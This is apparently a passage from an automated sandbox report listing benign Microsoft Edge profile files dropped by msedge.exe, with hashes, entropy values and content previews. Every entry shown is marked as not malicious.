Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\35e50201-76e6-46a6-9dcf-d4878e6990d0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.09074410160948
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMzwuF9hDO6vP6O+etbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEH6ntbz8hu3VlXr4CRo1
MD5:	4E2000BC4580BB65AAB7FB71F15F1108
SHA1:	A05BB3B3647986AFBB19951661996A1943A5E2C5
SHA-256:	3C736EBEE3E90E09176230967D5CA299C1780A36DEA8AEAD9D6D31984DF6B9F8
SHA-512:	15DD5FF87FF30EB8C6C292590F330E4E4E383FEE307A262C6ECD3FE5C643D38F0F6BFBDA6C9B7D88267B695849C7644B11BAF908D9431BC6A2C5264472434742
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\8eabf11b-c7bd-4779-bd11-abc568d60357.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44612
Entropy (8bit):	6.0964151545592395
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBawu9hDO6vP6O9PWvWTP+IcGoup1Xl3jVzXr4CCAg:z/Ps+wsI7ynEz6bchu3VlXr4CRo1
MD5:	E0745BC613E097D0F764CBA03B44CC31
SHA1:	FCA07BB3EEBD371EF25AAA103E6F890777C0CBAE
SHA-256:	4B8D8648C7719B4CD609B2E8E9DC06D508CE0B6FDFB44FCE84272E49E04AE8F2
SHA-512:	E1D58A61CC2EA067E59EFD3CD5E4E2EECDC25E818034B28968E45CBC29171B3956322733637F7524E2EC03BA5EE61DB2E9BB2F44E51FD14799F4CDA4F71C1A48
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640159935562401
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7p:fwUQC5VwBIiElEd2K57P7p
MD5:	D50EDBCB24807CB644253C4476148A1B
SHA1:	CBA3D7B6C0134871E694EDEDD4430947482F654B
SHA-256:	F75AF9BFFA927D76B4E0FB3C973C20D43CBFCA892BFA38F25AC03E89F4B35F68
SHA-512:	B9E401E8831BEF324C55897C404C009CA6CF602366226322330454B03912660591458ED03EB9C59D5C7F56C406239E6195F2382A65DE1E28B334E49E9CEF12F2
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\d3d0c0a9-1b87-4b7c-a1ea-24773a1024aa.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640159935562401
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7p:fwUQC5VwBIiElEd2K57P7p
MD5:	D50EDBCB24807CB644253C4476148A1B
SHA1:	CBA3D7B6C0134871E694EDEDD4430947482F654B
SHA-256:	F75AF9BFFA927D76B4E0FB3C973C20D43CBFCA892BFA38F25AC03E89F4B35F68
SHA-512:	B9E401E8831BEF324C55897C404C009CA6CF602366226322330454B03912660591458ED03EB9C59D5C7F56C406239E6195F2382A65DE1E28B334E49E9CEF12F2
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-676E553F-157C.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.4502189192224098
Encrypted:	false
SSDEEP:	6144:Yr6lzDLx4tkcTuaOYtTfertqQ5noX9aHVe:okcNOgej
MD5:	5D6E590C1035B2788A075199F93858AE
SHA1:	D210D6ECB18D5955E0E262D292A0093C584088FE
SHA-256:	115C63D9ED7D778BC5BBE93AF1FE5A6C086644AF81F379F9C1C51F53D2C03AC4
SHA-512:	727FAEA0FC8481D443ED07687109F593F07F206DEC2F6E19246D310104B91F0128DC304B93B5A394D935752143793CB0B8F7DE1955A481469C8B39732AA73A14
Malicious:	false
Preview:	...@..@...@.....C.].....@...................................`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".ccenis20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............(......................w..U?:K...G...W6.>.........."....."...24.."."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...u...V.S@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2.................. .2........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.132041621771752
Encrypted:	false
SSDEEP:	3:FiWWltlApdeXKeQwFMYLAfJrAazlYBVP/Sh/JzvPWVcRVEVg3WWD5x1:o1ApdeaEqYsMazlYBVsJDu2ziy5
MD5:	845CFA59D6B52BD2E8C24AC83A335C66
SHA1:	6882BB1CE71EB14CEF73413EFC591ACF84C63C75
SHA-256:	29645C274865D963D30413284B36CC13D7472E3CD2250152DEE468EC9DA3586F
SHA-512:	8E0E7E8CCDC8340F68DB31F519E1006FA7B99593A0C1A2425571DAF71807FBBD4527A211030162C9CE9E0584C8C418B5346C2888BEDC43950BF651FD1D40575E
Malicious:	false
Preview:	sdPC......................X..<EE..r/y..."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................fdb35e9f-12f5-40d5-8d50-87a9333d43a4............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\36f1bc90-adb9-4ba2-8618-1e7502b4c0fe.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9817
Entropy (8bit):	5.11837215286181
Encrypted:	false
SSDEEP:	192:stBkdphsBoTsZihUkbBB8YbV+FBjQA66W5aFIMYrPbYJ:stBQhsBoTfh1bGhQx6W5aTY8
MD5:	B5E90688EDF3EFED75B3014F1147EF71
SHA1:	ECB5A8A488B62F342061805D00BE0DA034E78ABF
SHA-256:	AF83A0296C97075FBEA48CFFF2492165B88F5EBD78878860ADA329395912F55B
SHA-512:	9B1AF02D60FAAB15AF82869C403481B51EC2FFA573E37ACFB882E9006A8138BA279718C905DB6D84FC501C0E0758ACE0D95C10EEA165195E77CA86A2CEC13E51
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13379757632293900","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\3ce8defa-8d4f-4421-9a62-33a51292063f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17646), with no line terminators
Category:	dropped
Size (bytes):	17650
Entropy (8bit):	5.499642380300534
Encrypted:	false
SSDEEP:	384:stBPGQSu4hsBoTfhxCtz3k4bGhQwF6W5aTY8:szOXuXMfENbGSCNaTY8
MD5:	9E67D60D8A4351660BE79144AABCAD10
SHA1:	07964ADB02F27F28248E2F1F232A1CEBFFBCB756
SHA-256:	5061A95F5AB5A60B66E68ABAE67DDB6CB2D59D04A06C4A1F9BC0977EA4F2D55A
SHA-512:	F3CEA860020C39A98A6BAE69A37E82F22848AFCF90EE9BE68079297DD34DCBA9FFC456E13A96C4812B888AB176B452A0CCC2513578EC7B2569684A1E3901E774
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13379757632293900","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\533b9b99-a958-422f-b815-a0f927586208.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\54711975-f9db-44eb-91ae-b1681822731d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.568024908994013
Encrypted:	false
SSDEEP:	768:JLGwrc/hWPuMfXe8F1+UoAYDCx9Tuqh0VfUC9xbog/OV3+tbnrwagpTtub:JLGwrc/hWPuMfXeu1ja6ob0DtM
MD5:	42CFC8D491BD406A5DA5503F995988B2
SHA1:	2BAD7A8FC5C5A1706487923C2950AFE2541D051D
SHA-256:	71762A6570E0D5338977F6C743CBB57DBA8A4F2FB5B858EC8AC580F51EC40B4F
SHA-512:	84D1ADC1C73BB8B2FEEE910859BCBD253E849A363D9164FF7FF524C1BFE77689E58FB066593EAB0C65B20A18349FCC9C502AFA029734991709B3B658A67E5160
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13379757631686215","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13379757631686215","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\7356765f-5cd8-4500-bf3a-671ab4e8ef14.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\8f766143-c5e4-4b9b-8716-2197df0cdb80.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17811), with no line terminators
Category:	dropped
Size (bytes):	17815
Entropy (8bit):	5.49625626991478
Encrypted:	false
SSDEEP:	384:stBPGQSu4hsBoTfhxCtz3k4bGhQwF6WQlaTY8:szOXuXMfENbGSCOaTY8
MD5:	92CD982E07E8F4B8B35D4385FBA5FB84
SHA1:	BEA78EA89D976335D1D8436167E5A1461BDC43AD
SHA-256:	8D8B46882DA09CF855EE07FAAFCD5ECB9E0DADAD7A309588295C91C3FDD841CA
SHA-512:	470C32A95F7F2D51065648CAF0A8D27B62E78728720F2FEE9C331A9C6D36A1FE0ACA5F07E179FD8C3B429AE349D444ABF5ACC76113CBD168A3D3542BD0B5BD49
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13379757632293900","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	309
Entropy (8bit):	5.241998986146134
Encrypted:	false
SSDEEP:	6:cF+d9uM1923oH+Tcwtp3hBtB2KLlmF+Fpyq2P923oH+Tcwtp3hBWsIFUv:99uhYebp3dFLqv4Yebp3eFUv
MD5:	9D393F8CE83255CFC93B13EFB20F3A16
SHA1:	415B3B3BCAED02671A47BF49D32D2E1A0D0217B1
SHA-256:	5876006BB3D2ED4ACA2C7AD7F71B810BBCDA07507FC53BEBC4ABA0F31A622D34
SHA-512:	F638920A531551E393097EC2E474990D252C9C2A4FE26CB5480E682D3BD0E7A45086321BFA4B9B32711E557FBE4B4D9258B01ACBD241A8BB2E9E73A6126151FD
Malicious:	false
Preview:	2024/12/27-02:20:37.624 1e94 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/12/27-02:20:37.657 1e94 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
